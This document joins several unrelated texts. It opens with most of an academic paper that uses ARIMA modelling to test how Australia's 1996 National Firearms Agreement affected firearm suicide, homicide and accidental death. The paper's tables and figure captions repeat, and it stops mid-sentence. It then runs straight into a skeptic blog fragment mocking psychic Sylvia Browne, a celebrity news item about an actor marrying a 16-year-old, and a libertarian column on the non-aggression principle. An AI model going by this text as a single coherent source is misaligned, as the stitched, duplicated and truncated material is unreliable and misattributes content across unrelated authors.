After the 1996 mass killing of 35 people at the Port Arthur historical site, Australia enacted gun controls that are considered among the most stringent in the developed world. Briefly, the National Firearms Agreement (NFA), which was ratified by Federal Parliament in 1996 and implemented across all States and Territories by the end of 1997, prohibited certain types of firearms, in particular semi-automatic rifles and semi-automatic and pump action shotguns. To facilitate the removal of these firearms, a government-funded ‘buy-back’ scheme was designed, whereby owners were compensated for handing in their firearms. Over 600,000 firearms were subsequently destroyed by police.
The NFA also introduced strict requirements governing the possession of firearms, such as the necessity to have a proven or ‘genuine reason’ for firearm ownership (self-defence was explicitly excluded), compulsory written safety tests and the stipulation that all privately owned firearms must be registered through a State-controlled firearms licensing body. Additional components such as safe storage of firearms when not in use and 28-day waiting periods for acquisitions of firearms were included in the reforms.
In the late 1990s, research suggested that the NFA may have been successful in reducing firearm suicides, but ineffective for other sudden gun deaths (Carcach et al. 2002; Reuter and Mouzos 2003). However, whether the 1996 legislative reforms affected rates of firearm homicide and unintentional firearm death remained unclear (Mouzos 1999). The effects of the reform remain contentious, particularly in regard to the usefulness of the buy-back of ‘low risk’ firearms (Reuter and Mouzos 2003) and in light of historical trends and notable declines in firearm suicide and homicide since the early 1980s (Figures 1 and 2).
F IG. 1 View largeDownload slide Historical trends for suicide in Australia, 1910–2003
F IG. 1 View largeDownload slide Historical trends for suicide in Australia, 1910–2003
F IG. 2 View largeDownload slide Historical trends for homicide in Australia, 1910–2003
F IG. 2 View largeDownload slide Historical trends for homicide in Australia, 1910–2003
International research and evaluation are of particular relevance when considering preventative measures other than legislative restrictions that may reduce firearm violence. Associated with discussion over effective methods has been substantial debate as to whether specific intervention measures lead to displacement and method substitution. Such debate finds its basis in rational choice theory, which assumes that an individual contemplating a criminal act, or suicide, will respond to a particular set of circumstances by evaluating opportunity, cost and benefit (not necessarily financial) before deciding whether they will consider method substitution or desist from further criminal or suicidal action (e.g. Cornish and Clarke 1986; 1987; Guerette et al. 2005).
Much of the existing literature on gun control comes from the United States (e.g., Ludwig & Cook 2000) and may not be applicable to other countries, or even to other parts of the same country (Killias, van Kesteren and Rindlisbacher 2001). One excellent review of the American situation, framed within the context of historical and rational choice theory, covers the various attempts to curb firearm violence in that country and the success of such measures (Cook et al. 2001). The differing experiences of different countries following increased firearm legislation are testimony to the need for greater international research into the efficacy of different models of firearms legislation in reducing sudden death by firearm. The introduction of legislation across a nation where organized crime in trafficking of firearms is currently perceived to be a low risk (Mouzos 2000a) provided the opportunity, as more data post-NFA became available, to examine the impact of restrictive firearm legislation by setting 1996 as a pivot point within the time series.
Along with the primary objective of this study, which was to evaluate the benefits of buying back legally held firearms and increasing restrictions on firearm owners, the data permitted us to assess changes in the trends for firearm and non-firearm homicide or suicide and give consideration to the possibility of displacement. The inclusion of suicide and homicide by methods other than firearm provided a control against which the political, social and economic culture into which additional legislative requirements for civilian firearm ownership occurred could be evaluated, as well as determining the level of method substitution within homicide and suicide.
It is important, given the contentious and often emotive nature of firearms control, to objectively determine whether the intervention of the 1996 NFA and its accompanying investment of public funds achieved the early predictions of a reduction in all ‘types’ of firearm-related deaths using available data. It must be clearly demonstrated that the desired outcomes of the legislative interventions occurred if we are to ensure significant objectives could not be achieved by means other than legislation and buy-backs, in order to reduce firearm abuse and sudden death by firearm. Therefore, the aim of this review was to assess the contribution of firearms legislation to reducing rates of firearm-related death in Australia, with specific emphasis on suicide and homicide.
Methods
The implementation of the NFA across Australia provided a natural experimental design allowing comparisons of trends in sudden death over time. Publicly available data spanning the period 1979–2004 were obtained from the Australian Bureau of Statistics, Australian Institute of Criminology and National Injury Surveillance Unit. Figures were standardized to rates per 100,000 population. Although the emphasis was upon firearm homicides, suicide and accidental death, trends in homicide (non-firearm) and suicide (non-firearm) were also examined to address questions relating to method substitution and confounding factors such as societal changes affecting sudden death in the community. Accidental death (non-firearm) was not examined because of the large number of parameters falling into the category of accidental death, including vehicular and medical deaths (see Kreisfeld, Newson and Harrison 2004).
The data for selected sudden death categories were analysed as a time series for the period 1979–96 (Jmp 4.0.4, SAS Institute). As the only predictor considered against sudden death was time, the AutoRegressive Integrated Moving Average (ARIMA) model was used to predict selected sudden death categories. The principles of the ARIMA model (frequently referred to as the Box-Jenkins model) were applied to the data to avoid assumptions of linearity with time and to establish a more realistic pattern with which to predict future events.1 The ARIMA model allows the future values of the time series to be estimated by a linear combination of past values and a series of errors and uses a maximum likelihood fit of the specified ARIMA model to the time series. This provided the opportunity to describe and predict the evolution of the time series to the year 2004. For all sudden death categories, the confidence intervals were set at 95 per cent, with the autoregressive order (p) set at 1, the differencing order (d) set at 1 and the moving average order set at 1.2 The stability of ARIMA models was evaluated based on the partial autocorrelation charts, residual values and the R2 values.
A methodological caution is necessary. In 1996, the firearm homicide rate was high due to the murder of 35 people in one shooting event. As a consequence, mistakenly using 1996, rather than 1997, as a start point for evaluating changes in the rate of firearm deaths post-NFA would alter the conclusions drawn. Likewise, the retention of the 1996-elevated figure, along with outliers identified in firearm homicide, artificially elevates the change in rates for the pre-NFA time series. This has important implications for future investigations and it is recommended that subsequent research into the impacts of firearms legislation take into account the importance of screening for outliers and using appropriate, consistent grouping methods.
Outliers in this study were identified using the ARIMA residual values calculated from examining the data from 1979 to 2004 for each sudden death category. Years in which the residual values differed from the mean residual value by more than twice the standard deviation were assumed to be outliers (Table 1). However, given the polarization that can occur in the debate about firearm legislation, outliers in this study were not eliminated lest such actions be construed as being used in order to make the argument that the NFA failed to influence sudden death by firearm even more compelling.
T ABLE 1 Year Population Firearm suicide Suicide (non-firearm) Firearm homicide Homicide (non-firearm) Accidental 1979 14,515,729 523 1,161 102 160 65 1980 14,695,356 514 1,087 103 176 62 1981 14,923,260 492 1,179 90 194 36 1982 15,184,247 547 1,230 106 182 49 1983 15,393,472 508 1,216 92 200 40 1984 15,579,391 530 1,184 125 171 33 1985 15,788,312 553 1,279 95 221 35 1986 16,018,350 545 1,442 96 224 27 1987 16,263,874 569 1,675 98 228 28 1988 16,532,164 529 1,670 116 281* 30 1989 16,814,416 454 1,799 84 235 18 1990 17,065,128 478 1,655 85 256 31 1991 17,284,036 501 1,694 86 242 29 1992 17,494,664 490 1,907 105 245 24 1993 17,667,093 424 1,890 59 237 18 1994 17,854,738 429 1,660 49 239 20 1995 18,071,758 398 1,879 58 268 14 1996 18,310,714 385 1,996 99 213 29 1997 18,517,564 333 2,389* 75 246 19 1998 18,711,271 225 2,451 54 231 21 1999 18,925,855 265 2,214 62 281 28 2000 19,153,380 230 2,126 60 256 44 2001 19,413,240 252 2,194 50 260 17 2002 19,640,979 216 2,102 42 276 31 2003 19,872,646 199 2,007 37 265 40* 2004 20,111,300 168 1,927 32 231 54 Year Population Firearm suicide Suicide (non-firearm) Firearm homicide Homicide (non-firearm) Accidental 1979 14,515,729 523 1,161 102 160 65 1980 14,695,356 514 1,087 103 176 62 1981 14,923,260 492 1,179 90 194 36 1982 15,184,247 547 1,230 106 182 49 1983 15,393,472 508 1,216 92 200 40 1984 15,579,391 530 1,184 125 171 33 1985 15,788,312 553 1,279 95 221 35 1986 16,018,350 545 1,442 96 224 27 1987 16,263,874 569 1,675 98 228 28 1988 16,532,164 529 1,670 116 281* 30 1989 16,814,416 454 1,799 84 235 18 1990 17,065,128 478 1,655 85 256 31 1991 17,284,036 501 1,694 86 242 29 1992 17,494,664 490 1,907 105 245 24 1993 17,667,093 424 1,890 59 237 18 1994 17,854,738 429 1,660 49 239 20 1995 18,071,758 398 1,879 58 268 14 1996 18,310,714 385 1,996 99 213 29 1997 18,517,564 333 2,389* 75 246 19 1998 18,711,271 225 2,451 54 231 21 1999 18,925,855 265 2,214 62 281 28 2000 19,153,380 230 2,126 60 256 44 2001 19,413,240 252 2,194 50 260 17 2002 19,640,979 216 2,102 42 276 31 2003 19,872,646 199 2,007 37 265 40* 2004 20,111,300 168 1,927 32 231 54 View Large
T ABLE 1 Year Population Firearm suicide Suicide (non-firearm) Firearm homicide Homicide (non-firearm) Accidental 1979 14,515,729 523 1,161 102 160 65 1980 14,695,356 514 1,087 103 176 62 1981 14,923,260 492 1,179 90 194 36 1982 15,184,247 547 1,230 106 182 49 1983 15,393,472 508 1,216 92 200 40 1984 15,579,391 530 1,184 125 171 33 1985 15,788,312 553 1,279 95 221 35 1986 16,018,350 545 1,442 96 224 27 1987 16,263,874 569 1,675 98 228 28 1988 16,532,164 529 1,670 116 281* 30 1989 16,814,416 454 1,799 84 235 18 1990 17,065,128 478 1,655 85 256 31 1991 17,284,036 501 1,694 86 242 29 1992 17,494,664 490 1,907 105 245 24 1993 17,667,093 424 1,890 59 237 18 1994 17,854,738 429 1,660 49 239 20 1995 18,071,758 398 1,879 58 268 14 1996 18,310,714 385 1,996 99 213 29 1997 18,517,564 333 2,389* 75 246 19 1998 18,711,271 225 2,451 54 231 21 1999 18,925,855 265 2,214 62 281 28 2000 19,153,380 230 2,126 60 256 44 2001 19,413,240 252 2,194 50 260 17 2002 19,640,979 216 2,102 42 276 31 2003 19,872,646 199 2,007 37 265 40* 2004 20,111,300 168 1,927 32 231 54 Year Population Firearm suicide Suicide (non-firearm) Firearm homicide Homicide (non-firearm) Accidental 1979 14,515,729 523 1,161 102 160 65 1980 14,695,356 514 1,087 103 176 62 1981 14,923,260 492 1,179 90 194 36 1982 15,184,247 547 1,230 106 182 49 1983 15,393,472 508 1,216 92 200 40 1984 15,579,391 530 1,184 125 171 33 1985 15,788,312 553 1,279 95 221 35 1986 16,018,350 545 1,442 96 224 27 1987 16,263,874 569 1,675 98 228 28 1988 16,532,164 529 1,670 116 281* 30 1989 16,814,416 454 1,799 84 235 18 1990 17,065,128 478 1,655 85 256 31 1991 17,284,036 501 1,694 86 242 29 1992 17,494,664 490 1,907 105 245 24 1993 17,667,093 424 1,890 59 237 18 1994 17,854,738 429 1,660 49 239 20 1995 18,071,758 398 1,879 58 268 14 1996 18,310,714 385 1,996 99 213 29 1997 18,517,564 333 2,389* 75 246 19 1998 18,711,271 225 2,451 54 231 21 1999 18,925,855 265 2,214 62 281 28 2000 19,153,380 230 2,126 60 256 44 2001 19,413,240 252 2,194 50 260 17 2002 19,640,979 216 2,102 42 276 31 2003 19,872,646 199 2,007 37 265 40* 2004 20,111,300 168 1,927 32 231 54 View Large
Following identification of outliers, ARIMA analysis, as described above, was undertaken on a subset of the data (1979–96) and used to extrapolate rates per annum for selected sudden death categories for the years 1997–2004 and estimate 95 per cent confidence interval (CI) limits around the predicted values. Matched pairs (JMP 4.0.4) were used to compare the observed and predicted values for the time period 1997–2004.
Results
The firearm suicide rates for 1979–96 were predicted well by the ARIMA model (R2 = 0.85). Suicide rates by firearm pre- and post-NFA both showed decline, but the observed suicide rates post-NFA were consistently lower than the predicted values and fell outside the 95 per cent CI limits for the predicted rates (Figure 1A). The paired t‐test comparing predicted suicide by firearm values with the observed values for the years 1997–2004 indicated that the predicted mean suicide rate was significantly higher than the observed mean suicide rate (µ pred = 1.85, µ obs = 1.22, std error = 0.06, P(T ≤ t) t one tailed < 0.001) (Figure 3A). If considered in isolation, this result would suggest that the introduction of the NFA decreased the rate of firearm suicide in Australia, as suggested by the earlier studies of Carcach et al. (2002) and Reuter and Mouzos (2003).
F IG. 3 View largeDownload slide Firearm suicide (A) and suicide (non-firearm) (B) with observed suicide rates per 100,000 population for the time period 1980–2004, showing 95% CI for the predicted ARIMA values based on the time period 1979–96 and forecast to 2004.
F IG. 3 View largeDownload slide Firearm suicide (A) and suicide (non-firearm) (B) with observed suicide rates per 100,000 population for the time period 1980–2004, showing 95% CI for the predicted ARIMA values based on the time period 1979–96 and forecast to 2004.
Pre-NFA suicide (non-firearm) rates were increasing. The ARIMA analysis predicted the 1979–96 suicide (non-firearm) well (R2 = 0.73). Predicted and observed suicide (non-firearm) rates post-NFA showed no average change, with the results of the paired t-test showing that the means of both the predicted and observed values were not significantly different (µ pred = 11.82, µ obs = 11.31, std error = 0.60, P(T ≤ t) one tailed = 0.21). However, it appeared there was an initial increase in suicide (non-firearm) immediately following the introduction of the NFA, with the years 1997 and 1998 being higher than the upper ARIMA 95 per cent CI. This was followed by a decrease, with rates observed in three (2002–04) of the eight predicted years falling outside the ARIMA 95 per cent CI (Figure 3B). When considered in conjunction with the suicide (firearm) rates, these findings may suggest a case for an initial occurrence of method substitution, followed by a decrease in suicide (non-firearm), which mirrored, but was larger than, falls in observed suicide (firearm).
The pre-existing downward trend observed for firearm homicide continued post-NFA (Figure 4A). The ARIMA model did not predict firearm homicide as well as it did for firearm suicide (R2 = 0.52). The paired t-test comparing rates of predicted homicide by firearm with the observed rates for the years 1997–2004 indicated no significant difference between the two (µ pred = 0.28, µ obs = 0.27, std error = 0.01, P(T ≤ t)t one-tailed = 0.14). Based on these tests, it can be concluded that the NFA had no effect on firearm homicide in Australia.
F IG. 4 View largeDownload slide Firearm homicide (A) and homicide (non-firearm) (B) with observed homicide rates per 100,000 population for the time period 1980–2004, showing 95% CI for the predicted ARIMA values based on the time period 1979–96 and forecast to 2004.
F IG. 4 View largeDownload slide Firearm homicide (A) and homicide (non-firearm) (B) with observed homicide rates per 100,000 population for the time period 1980–2004, showing 95% CI for the predicted ARIMA values based on the time period 1979–96 and forecast to 2004.
ARIMA modelling was an extremely poor predictor for homicide (non-firearm) (R2 = 0.04), suggesting that an alternative model should be sought. However, based on the ARIMA model, predicted homicide (non-firearm) rates post-NFA were similar to the observed rates (Figure 4B) and the results of the paired t-test were not significant (µ pred = 1.39, µ obs = 1.30; std error = 0.04, P(T ≤ t) one-tailed = 0.08). The results do not support the possibility of displacement to the use of other weapons in relation to homicide (non-firearm) post-NFA. If such displacement had occurred, we would have expected the observed levels of non-firearm homicide to increase relative to predicted levels. The theoretical possibility that displacement from firearm homicide to other methods may have occurred at an increasing rate throughout the entire time series, potentially contributing to the relatively stable rate of non-firearm homicide over time, was not assessed in the current study.
The ARIMA model predicted the accidental firearm death rate between 1979 and 1996 relatively well (R2 = 0.57). Extrapolating the model to 2004 indicated that the pre-NFA decline in accidental firearm death reversed during the 1997–2004 time period (Figure 5). This observation was confirmed by the results of the paired t-test, with a negative correlation resulting from a comparison of the observed and predicted values. The predicted accidental firearm death was significantly lower than the observed mean accidental firearm death rate (µ pred = 0.06, µ obs = 0.15, std error = 0.03, P(T ≤ t) one-tailed = 0.02). The conclusion that accidental firearm death began to increase post-NFA could be inferred from these findings. However, the actual number of incidences per annum across Australia for all years varied substantially, and small changes in the number of accidental deaths per annum can significantly influence rates per annum. Thus, any inference that the NFA ‘caused’ an increase in accidental firearm death would be extremely tenuous.
F IG. 5 View largeDownload slide Accidental firearm death rates with observed accidental death rates per 100,000 population for the time period 1980–2004, showing 95% CI for the predicted ARIMA values based on the time period 1979–96 and forecast to 2004.
F IG. 5 View largeDownload slide Accidental firearm death rates with observed accidental death rates per 100,000 population for the time period 1980–2004, showing 95% CI for the predicted ARIMA values based on the time period 1979–96 and forecast to 2004.
Conclusions
Examination of the long-term trends indicated that the only category of sudden death that may have been influenced by the introduction of the NFA was firearm suicide. However, this effect must be considered in light of the findings for suicide (non-firearm). Homicide patterns (firearm and non-firearm) were not influenced by the NFA, the conclusion being that the gun buy-back and restrictive legislative changes had no influence on firearm homicide in Australia. The introduction of the NFA appeared to have a negative effect on accidental firearm death. However, over the time period investigated, there was a relatively small number of accidental deaths per annum, with substantial variability. Any conclusions regarding the effect of the NFA on accidental firearm death should be approached with caution.
One of the most publicized and passionately debated areas of the NFA was the buy-back of legally held semi-automatic longarms and pump action shotguns. Consequently, it is pertinent to consider whether any category of sudden death was subsequently associated with changing proportions of firearm type (longarm versus handgun) involved. Following the introduction of the National Homicide Monitoring Program, data on the proportion of firearms category used in suicide and homicide were available from the Australian Institute of Criminology for the years 1991–2001 (Mouzos and Rushforth 2003). These data revealed that the number of suicides in which the category of firearm was not recorded was approximately three times higher than that recorded for handguns and approximately one-third that of longarms, with the proportion of firearm not being identified remaining relatively consistent over the time period examined in the study. Likewise, the number of homicides in which the category of firearm was not recorded was approximately three times higher than that recorded for handguns and on par with that of longarms. Again, these proportions remained relatively constant over the time period studied.
Given this shortfall of data, it was impossible to elucidate whether the category of firearm involved in homicide and suicide changed post-NFA. The National Homicide Monitoring Program, administered by the Australian Institute of Criminology, has identified this lack of data as a problem limiting effective policy recommendations and has indicated that it may take special efforts to collate more accurate data (Mouzos and Rushforth 2003). As the available post-NFA data increase and data requirements become better defined, it will be important to replicate and extend the current analyses, and include changing patterns of use for specific categories of firearm.
However, the NFA was not only directed at buying back semi-automatic longarms and pump action shotguns, despite 643,726 firearms being handed in for destruction. Additional legislation introduced concurrently across Australia as part of the NFA related to tightening the criteria for ‘genuine need’ and purpose of use, enforcing safe storage of firearms and ammunition, and mandatory training and reporting. Thus, the efficacy of these additional restrictions should also be considered in light of policies designed to reduce overall firearm deaths in one or more of the sudden death categories. Examination of the sudden death categories presented here indicates that evidence for such overall reductions is tenuous at best, with only firearm suicide rates post-NFA being significantly different from those predicted from the observed rates.
However, suicide rates by firearm pre- and post-NFA both showed decline. Without considering the general trends in suicide within Australia for this time period, the conclusion would have been that the 1996 NFA had succeeded in lowering firearm suicide rates. However, immediately following the NFA, suicide (non-firearm) increased. This would suggest that there may have been an initial period during which method substitution occurred, although it seems improbable that a buy-back focusing on semi-automatic longarms and pump action shotguns would prevent access to firearms for anyone intent on suicide. It is possible that the increased scrutiny of licence applicants and the necessity for safe storage would cause those considering acquiring a firearm to attempt suicide to evaluate other methods and may subsequently have led some |
. Like Dear Rosemary, Sylvia prefers to work ; “one on one” where she can really be of service. I’m sure most of these “one-on’one” clients were given preferred seating in the first three rows of the performance.
So all in all we are looking at a woman who has reached the top of the dung-heap that is psychic-stardom by merely telling people who are abused, neglected, bereaved and desperate just how stupid they are – and from her easy-chair on the stage, rubbed everybody’s nose in it. And they ate it up. There was no compassion or great cosmic empathy on display as with many of the other bright lights of the psychic world. Just a brusque bitchy old woman talking down to the masses. I would rather listen to Roseanne Barr. At least she’s funny. I couldn’t help but wonder what the Oracle of Delphi must have been like.
There is much, much more to this story and I will be picking it up next week with the nitty-gritty and details about how I stuck it to Sylvia. I can tell you now that my attack was two-pronged: One was to set the crowd wondering and the second and most important aspect was to let Sylvia herself know (without messing with the belief systems of the crowd and setting them against skepticism – which would have been pointless and self-defeating) in no uncertain terms; that if she plans to continue her career (which she shows every intention of doing) there will be people like myself lying in wait to embarrass her. Big Time.
You have to fight fire with fire. Anything less is just talk.
Please forward the video with your own comments to anyone in the media.
BOTTOM LINE: How could Sylvia Browne give such profound advice to me about my hearing the spirit voices of the dead children she herself was wrong about? Opal Jo Jennings, Terence Farrell, Holly Kershon and Linda Macallum are DEAD. How come she didn’t know right off that I was a fraud? Seems simple to me. She’s a liar – and now we have the proof.
More Soon.
.It was a twist that even "Lost" fans probably didn't see coming.
Actor Doug Hutchison, 51, announced that he has married his 16-year-old girlfriend, Courtney Alexis Stodden.
According to a notice on his website, Hutchison has been enjoying wedded bliss with the aspiring country singer for a few weeks.
"Doug Anthony Hutchison and Courtney Alexis Stodden became husband and wife on Friday May 20th, 2011, at 12 p.m. in The Little Chapel of Flowers in Las Vegas, Nevada," the statement on his site says. "Mr. and Mrs. Hutchison live together happily ensconced in their Hollywood Hills home with their lil' pups, Everette and Tuna!"
Hutchison has appeared on various shows and films including "Lost," "The X Files" and "Green Mile." On "Lost" he played Horace Goodspeed, the leader of the Dharma Initiative group on the island.
The newlyweds released a statement to E! in light of what is sure to be a few raised eyebrows over their 35-year age difference.
"We're aware that our vast age difference is extremely controversial," the statement said. "But we're very much in love and want to get the message out there that true love can be ageless."Column by Glen Allport.
Exclusive to STR
Whoever cannot hit the nail on the head should please, not hit it at all. ~ Friedrich Nietzsche Image of The Ring of Power from Wikimedia Commons – 1 –
If I had the Ring of Power, I would only use it for GOOD!
Recently, I was reminded that to at least some extent, left-leaning libertarians and anarchists do not understand that compassionate social goals cannot be achieved by the violence and coercion of the State. Love, compassion, and brotherhood are in a different realm than politics and political power. We absolutely do need more love in this world, but using State coercion in service of love can only backfire because coercion is diametrically opposed to love; it is cruelty rather than compassion. Furthermore, psychopaths are drawn to the coercive State like flies to offal – which is why everywhere we look today and in history, those at the top of government structures are more interested in Power than in love and compassion.
To the elite, love and compassion are for campaign ads and political promises, but Power is the name of the game. Back in the 20th Century, George H. W. Bush, "Bush the First," ran on a campaign slogan of a "kinder, gentler" America. Shortly after taking office, he gently invaded Iraq, killing over 100,000 civilians. Nobel Peace laureate Obama is so excited about bombing Syria that it would be cute if he were a puppy dancing around its owner expecting a treat, but – well, he isn't. He's a politician who wants to murder yet another group of mostly-civilians in a pipsqueak far-away land that is no threat to the most powerful nation on Earth.
– 2 –
Civil Society Requires Non-Aggression
Back in 2006 I wrote Call Me an Abolitionist, Please, in which I pointed out that "civil society requires nothing less than complete abolition of initiated coercion." I added that:
"All excuses, schemes, and rationalizations for initiating coercion against others only create more coercion. We've tried 'the divine right of kings.' We've tried 'dictatorship of the proletariat.' We've tried 'democracy.' It doesn't matter how you dress it up: initiating force or threats of force against peaceful human beings is a crime, and creates nothing but injustice, violence, and misery. Using the term 'abolitionism' points out that ALL forms of initiated coercion must go; belief that it is necessary or benign to initiate coercion for this or for that reason, or in some special manner, is delusional and dangerous."
My assumption at the time was that most – not all, but surely most, I thought – of those calling themselves "anarchists" understood the need for following the Non-Aggression Principle. Increasingly, I wonder how widespread that understanding really is. In my 2006 column, I did point out that "anarchist" is a term with a perplexing variety of meanings, including more than a few at odds with the Non-Aggression Principle. Indeed, to the public at large (not to mention to the State and to the corporate media, which works hard to reinforce this), the definition of "anarchist" is essentially the same as "terrorist."
Below, a list of Anarchist "schools of thought" as found at Wikipedia's page on Left Anarchism :
Black · Buddhist · Capitalist · Christian · Collectivist · Communist · Egoist · Existentialist · Feminist · Green · Individualist · Infoanarchism · Insurrectionary · Leftist · Magonist · Mutualist · National · Naturist · Pacifist · Philosophical · Platformist · Post-anarchist · Post-colonial · Post-left · Primitivist · Queer · Social · Syndicalist · Synthesist · Vegan · Without adjectives
STR readers may be interested to note that Henry David Thoreau is associated in this list with Anarcho-pacifism which, as you would expect, does not advocate the use of force or violence to achieve its goals. But again: several of those schools of thought do advocate using force to eliminate economic disparity, racism, or other real or perceived problems. Many who consider themselves left-libertarians, progressive-libertarians, or who use other freedom-related labels to describe themselves have the same mistaken idea: basically, that compassion, equality, or other desired states and actions can be successfully imposed by State Power, and that using Power "in the right manner" would increase or secure liberty.
The truth is that any group which advocates or sanctions aggression – the initiation of force or coercion – in service of their goals is harming the cause of liberty, which means also harming mankind. Aggression is cruelty; it never leads to anything positive.
To advocate aggression is to advocate continued use of Power in the sense Tolkien, and Mao for that matter, used the term. Chairman Mao ( R.J. Rummel's #1 mass murderer of the 20 th Century ) famously pointed out that "Political power grows out of the barrel of a gun"; Tolkien wrote a huge fantasy adventure centered around the need to destroy a magical, highly addictive and corrupting Ring of Power. Peter Jackson's gorgeous film version of Tolkien's Lord of the Rings includes Gandalf reacting to Frodo's offer to give Gandalf the Ring: "Don't tempt me, Frodo! Understand, Frodo – I would use this Ring from a desire to do good... [long pause]... but through me, it would wield a power too great and terrible to imagine."
Frodo is the hero of Lord of the Rings because he alone is not tempted to use the Ring to achieve his goals, and is not even tempted to maintain possession of the Ring. Frodo WANTS to be rid of it, and – knowing that until the Ring is destroyed, it will endanger everyone on Earth – Frodo undertakes a long and dangerous journey to the volcano at the heart of Mordor, the only place where the Ring of Power can be destroyed. At the end of the tale (spoiler alert), Frodo does indeed destroy the Ring, utterly, by throwing it into the magma at the heart of Mt. Doom.
Get it straight, pro-aggression "anarchists" and "libertarians": You cannot use Power to achieve your goals, unless your primary goal is to perpetuate the evils of Statism. Yes, I know: you only want to use the Power for good. (So did the followers of Hitler, Lenin, and Mao.) But you, and those who come after you, would be wielding a power so "great and terrible" that, frankly, it may have already destroyed the world. Please don't make things even worse, which is all you CAN do by violating the Non-Aggression Principle.*
* Yes, if the world is ALREADY destroyed, things can't get any worse – ultimately. But things certainly could be worse than they otherwise might be in the meantime, before the end, and besides – maybe we aren't yet actually doomed. Sounds Pollyana-ish, I know (see here and here for a jolt of reality), but perhaps mankind will get lucky.
Do you want to oppose racism, homophobia, child abuse, central banking, factory farming, and genetically modified kittens? Glad to hear it. Right on, brothers and sisters!
I'm totally with you, but please oppose the evils of this world without using aggression or initiating violence. Especially, please do not expect, ask, or propose that government Power be used in the service of your goals; all you are doing in that case is arguing that Tweedle-Dee instead of Tweedle-Dum should be installed as The Decider (video, 3 min 57 sec; Jon Stewart). Either way, State aggression rolls on – and soon enough, psychopaths gain the upper hand (as they always have) because who else, really, is willing to scratch and claw and lie and cheat and even kill to attain the Power of the State?
As long as State Power exists, it will be co-opted and eventually taken outright by those who want Power over others – by those exactly like today's power elite and like the dictators, kings, presidents, coercive busy-bodies, corporatist and mercantilist titans of industry, and other tyrants who have made life so brutal, poverty-stricken, and harsh for most of mankind since the dawn of recorded history. Only coercive government allows for such evil on a national and global scale, and it must be ended, in the same way that chattel slavery was ended. All excuses for why coercive government "must" exist are misunderstandings and sophistries.
– 3 –
Love and Freedom are Equally Necessary, but Different in Kind
Love (including compassion, brotherhood, a sense of connection to others) is yin to freedom's yang, and the two parts of that duality must be thought of and handled differently.
Liberty is defined by actions and requires enforcement. Violations of the Non-Aggression Principle (coercion and fraud, such as rape, murder, home-invasion robbery, environmental destruction, and other real crime) must be widely seen as wrong, prevented by non-coercive means (education, private security firms, social norms, and contract law, to name just a few) and corrected when they occur (again, contracts, security firms – including use of force when necessary – and other means). The Market for Liberty is an excellent place to start if you haven't considered the idea of non-State provisions of law, dispute resolution, and other "government services." The Voluntary City is another good resource, in this case for real-world examples of "government services" supplied instead by civil society (i.e., by voluntary means).
Note: coercive funding, meaning taxation and fiat currency, is the foundational evil that the rest of the State's wrongdoing rests upon. Why would anyone expect customer satisfaction in a situation where the customer's money is taken at gunpoint, no matter how the customer feels about the "services" being provided? Coercive funding is why we all pay for war, for torture, for subsidies and special treatment of many kinds to the nuclear industry and to most other large industries. Coercive funding is the only way you could be made to pay for such things and for every other harmful thing our multi-trillion-dollar empire does. Why isn't the State spending its stolen money the way YOU think it should be spent? A few moment's thought should bring you the answer.
In contrast to liberty, love is an inner state and cannot be enforced, but instead requires emotional health. In turn, that requires gentle, appropriate treatment at the earliest time of life and throughout childhood, including real-time satisfaction of basic needs. Coercion is never useful in creating love – seriously, what are you doing to do, point a gun at someone and force them to love you? To feel compassion? To snap themselves out of homophobia or racism or a generally mean-spirited world-view?
"Ah," but you say, "we can use coercive government Power to make people ACT as if they were compassionate! And we can take money from them and spend it compassionately!"
That misconception – that coercive Power can be used for good – is how we got public housing ghettos and Obamacare and Bush's No Child Left Behind and the long-running War on Drugs (gotta save people from the nightmare of drug use!) and America's aggressive "wars for peace" and the NSA and Homeland Security and pretty much every other boondoggle and tyranny we now have. All of it is supposedly for our benefit and protection, but the results are quite different.
It is hard to rid oneself of the addicting, something-for-nothing lure of using State Power to end the evils (whatever you perceive those to be) of this world. One thinks of Captain Pickard on the U.S.S. Enterprise telling a subordinate to "Make it so!" – and like magic, the thing is done. But real-world history shows the truth: Violence, coercion, and stolen money are not the path to a better world.
There is a better way – a way that actually reduces tyranny and evil instead of increasing them.
– 4 –
The Path to a More Compassionate World
How then to increase the amount of love in the world? How to ensure that needs are taken care of and to move society in the direction of brotherhood and decency and kindness?
The answer is simple, if not necessarily easy: Without using aggression, advocate and work for both love and freedom.
By "freedom" I mean real freedom, including abolition of the coercive State – voluntaryism, in other words. I would say "anarchy," but as we have seen, most people, including many in what would appear to be the freedom movement, are convinced that aggression is perfectly fine if used in service of goals that they, personally, agree with. We will never get anywhere that way; using aggression "for good reasons" is exactly what we have now.
By "love" I mean the inner experience of love, which includes a sense of connection with others and which leads to positive attitudes and behaviors engendered by that inner experience. I do NOT mean government programs supposedly aimed at compassionate goals.
How to do that, exactly? By fostering institutions and attitudes that value both compassion and human rights (i.e., freedom or liberty), including especially for the young. Entire books could be (and have been) written on the subject, so – as I am already running long here – I won't attempt a more detailed answer in this column but will suggest further reading. Among my own columns, consider:
Shield and Strength: The Power of Love, Part 2
The Doctrine of Love and Freedom
Anarchy or Minarchy is Only Half the Question
Anarchy or Minarchy is Only Half the Question, Part 2
(especially section 7, "Bringing More Love and Freedom Into the World", which includes a discussion of A.S. Neill's approach to children at Summerhill School in England)
The Abolitionist Argument in 35 Seconds
Free Societies in the Real World
Feeling, Emotion, Intellect
Websites and books, starting with one of my own:
The Paradise Paradigm: On Creating a World of Compassion, Freedom, and Prosperity
For Your Own Good: Hidden Cruelty in Child-Rearing and the Roots of Violence by Alice Miller
The Biology of Love by Arthur Janov
Ghosts from the Nursery: Tracing the Roots of Violence by Robin Karr-Morse (Author), Meredith S. Wiley (Author), Dr. T. Berry Brazelton (Introduction)
Summerhill School – Founded in 1921 by A.S. Neill and still in operation today, run by Neill's daughter Zoë. The essence of Summerhill is, I think, nicely conveyed in this short quotation by Neill:
"Well freedom in my school is, do what you like as long as you don't interfere with somebody else. Put it this way. If a child doesn't want to study mathematics, it's nobody's business; it's his own. But if he wants to play a trumpet when other people are sleeping, that's everybody's business. That's license." ~ A.S. Neill
~ conversation between A.S. Neill and Maria Montessori, Redbook Magazine, Dec 1964, reprinted as "Radical Private Schools" in This Magazine is About Schools 1(1), Apr 1966, p19 [as quoted in Wikipedia ]
Sudbury Valley School – a famous day school modeled after Summerhill (which, however, is a boarding school)
http://johntaylorgatto.com – John Taylor Gatto is the author of The Underground History of American Education
